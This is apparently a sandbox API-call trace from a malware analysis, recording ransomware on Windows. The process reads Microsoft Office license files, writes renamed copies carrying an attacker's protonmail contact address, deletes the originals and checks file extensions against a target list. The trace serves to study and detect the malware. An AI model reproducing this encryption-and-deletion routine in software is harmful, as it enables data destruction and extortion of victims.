	[0191.911] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xc1f, lpOverlapped=0x0) returned 1
	[0191.913] WriteFile (in: hFile=0x5c4, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xc20, lpOverlapped=0x0) returned 1
	[0191.914] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.914] WriteFile (in: hFile=0x5c4, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0191.914] SetEndOfFile (hFile=0x5c4) returned 1
	[0191.914] CloseHandle (hObject=0x5c4) returned 1
	[0191.914] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.914] SetEndOfFile (hFile=0x5e8) returned 1
	[0191.918] CloseHandle (hObject=0x5e8) returned 1
	[0191.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0191.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1
	[0191.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.920] lstrlenW (lpString=".doc") returned 4
	[0191.920] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.920] lstrlenW (lpString=".docx") returned 5
	[0191.920] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.920] lstrlenW (lpString=".pdf") returned 4
	[0191.920] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.920] lstrlenW (lpString=".xls") returned 4
	[0191.920] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.920] lstrlenW (lpString=".xlsx") returned 5
	[0191.920] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.920] lstrlenW (lpString=".ppt") returned 4
	[0191.921] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.921] lstrlenW (lpString=".zip") returned 4
	[0191.921] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString=".rar") returned 4
	[0191.921] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString=".bz2") returned 4
	[0191.921] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString=".7z") returned 3
	[0191.921] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.921] lstrlenW (lpString=".dbf") returned 4
	[0191.921] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.921] lstrlenW (lpString=".1cd") returned 4
	[0191.921] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.921] lstrlenW (lpString=".jpg") returned 4
	[0191.921] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.921] lstrlenW (lpString=".doc") returned 4
	[0191.921] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString=".docx") returned 5
	[0191.921] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0191.921] lstrlenW (lpString=".pdf") returned 4
	[0191.921] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0191.921] lstrlenW (lpString=".xls") returned 4
	[0191.922] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0191.922] lstrlenW (lpString=".xlsx") returned 5
	[0191.922] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0191.922] lstrlenW (lpString=".ppt") returned 4
	[0191.922] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0191.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.922] lstrlenW (lpString=".zip") returned 4
	[0191.922] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0191.922] lstrlenW (lpString=".rar") returned 4
	[0191.922] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0191.922] lstrlenW (lpString=".bz2") returned 4
	[0191.922] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0191.922] lstrlenW (lpString=".7z") returned 3
	[0191.922] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0191.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.922] lstrlenW (lpString=".dbf") returned 4
	[0191.922] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0191.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.922] lstrlenW (lpString=".1cd") returned 4
	[0191.922] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0191.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77
	[0191.922] lstrlenW (lpString=".jpg") returned 4
	[0191.922] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0191.923] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0191.923] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27
	[0191.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0191.924] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3380) returned 1
	[0191.924] CloseHandle (hObject=0x5e8) returned 1
	[0191.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220
	[0191.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0191.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0191.924] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.194] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.196] GetLastError () returned 0x0
	[0192.196] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xd34, lpOverlapped=0x0) returned 1
	[0192.200] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xd40, lpOverlapped=0x0) returned 1
	[0192.201] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.201] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10a, lpOverlapped=0x0) returned 1
	[0192.201] SetEndOfFile (hFile=0x5ec) returned 1
	[0192.202] CloseHandle (hObject=0x5ec) returned 1
	[0192.202] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.202] SetEndOfFile (hFile=0x5e8) returned 1
	[0192.205] CloseHandle (hObject=0x5e8) returned 1
	[0192.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1
	[0192.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.206] lstrlenW (lpString=".doc") returned 4
	[0192.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.206] lstrlenW (lpString=".docx") returned 5
	[0192.206] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.206] lstrlenW (lpString=".pdf") returned 4
	[0192.206] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.206] lstrlenW (lpString=".xls") returned 4
	[0192.206] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.206] lstrlenW (lpString=".xlsx") returned 5
	[0192.206] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.206] lstrlenW (lpString=".ppt") returned 4
	[0192.207] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.207] lstrlenW (lpString=".zip") returned 4
	[0192.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.207] lstrlenW (lpString=".rar") returned 4
	[0192.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.207] lstrlenW (lpString=".bz2") returned 4
	[0192.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.207] lstrlenW (lpString=".7z") returned 3
	[0192.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.207] lstrlenW (lpString=".dbf") returned 4
	[0192.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.207] lstrlenW (lpString=".1cd") returned 4
	[0192.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.207] lstrlenW (lpString=".jpg") returned 4
	[0192.207] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.207] lstrlenW (lpString=".doc") returned 4
	[0192.207] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString=".docx") returned 5
	[0192.208] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.208] lstrlenW (lpString=".pdf") returned 4
	[0192.208] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString=".xls") returned 4
	[0192.208] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString=".xlsx") returned 5
	[0192.208] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.208] lstrlenW (lpString=".ppt") returned 4
	[0192.208] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.208] lstrlenW (lpString=".zip") returned 4
	[0192.208] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString=".rar") returned 4
	[0192.208] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString=".bz2") returned 4
	[0192.208] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString=".7z") returned 3
	[0192.208] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.208] lstrlenW (lpString=".dbf") returned 4
	[0192.208] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.208] lstrlenW (lpString=".1cd") returned 4
	[0192.208] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0192.208] lstrlenW (lpString=".jpg") returned 4
	[0192.208] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.209] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.209] lstrlenW (lpString="ExcelR_OEM_Perp-ppd.xrm-ms") returned 26
	[0192.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0192.210] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=20846) returned 1
	[0192.210] CloseHandle (hObject=0x5e8) returned 1
	[0192.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0192.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0192.211] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.211] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.212] GetLastError () returned 0x0
	[0192.212] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x516e, lpOverlapped=0x0) returned 1
	[0192.230] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5170, lpOverlapped=0x0) returned 1
	[0192.232] ReadFile (in: hFile=0x5e8, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.232] WriteFile (in: hFile=0x5ec, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x108, lpOverlapped=0x0) returned 1
	[0192.232] SetEndOfFile (hFile=0x5ec) returned 1
	[0192.232] CloseHandle (hObject=0x5ec) returned 1
	[0192.232] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.232] SetEndOfFile (hFile=0x5e8) returned 1
	[0192.236] CloseHandle (hObject=0x5e8) returned 1
	[0192.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1
	[0192.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.237] lstrlenW (lpString=".doc") returned 4
	[0192.237] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.237] lstrlenW (lpString=".docx") returned 5
	[0192.237] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.237] lstrlenW (lpString=".pdf") returned 4
	[0192.237] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.237] lstrlenW (lpString=".xls") returned 4
	[0192.237] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.237] lstrlenW (lpString=".xlsx") returned 5
	[0192.237] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.237] lstrlenW (lpString=".ppt") returned 4
	[0192.237] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.238] lstrlenW (lpString=".zip") returned 4
	[0192.238] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString=".rar") returned 4
	[0192.238] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString=".bz2") returned 4
	[0192.238] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString=".7z") returned 3
	[0192.238] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.238] lstrlenW (lpString=".dbf") returned 4
	[0192.238] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.238] lstrlenW (lpString=".1cd") returned 4
	[0192.238] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.238] lstrlenW (lpString=".jpg") returned 4
	[0192.238] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.238] lstrlenW (lpString=".doc") returned 4
	[0192.238] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString=".docx") returned 5
	[0192.238] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.238] lstrlenW (lpString=".pdf") returned 4
	[0192.238] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.238] lstrlenW (lpString=".xls") returned 4
	[0192.239] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.239] lstrlenW (lpString=".xlsx") returned 5
	[0192.239] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.239] lstrlenW (lpString=".ppt") returned 4
	[0192.239] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.239] lstrlenW (lpString=".zip") returned 4
	[0192.239] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.239] lstrlenW (lpString=".rar") returned 4
	[0192.239] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.240] lstrlenW (lpString=".bz2") returned 4
	[0192.240] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.240] lstrlenW (lpString=".7z") returned 3
	[0192.240] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.240] lstrlenW (lpString=".dbf") returned 4
	[0192.240] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.240] lstrlenW (lpString=".1cd") returned 4
	[0192.240] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76
	[0192.240] lstrlenW (lpString=".jpg") returned 4
	[0192.240] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.240] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.240] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29
	[0192.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0192.241] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19927) returned 1
	[0192.241] CloseHandle (hObject=0x5e8) returned 1
	[0192.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0192.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0192.242] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.242] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
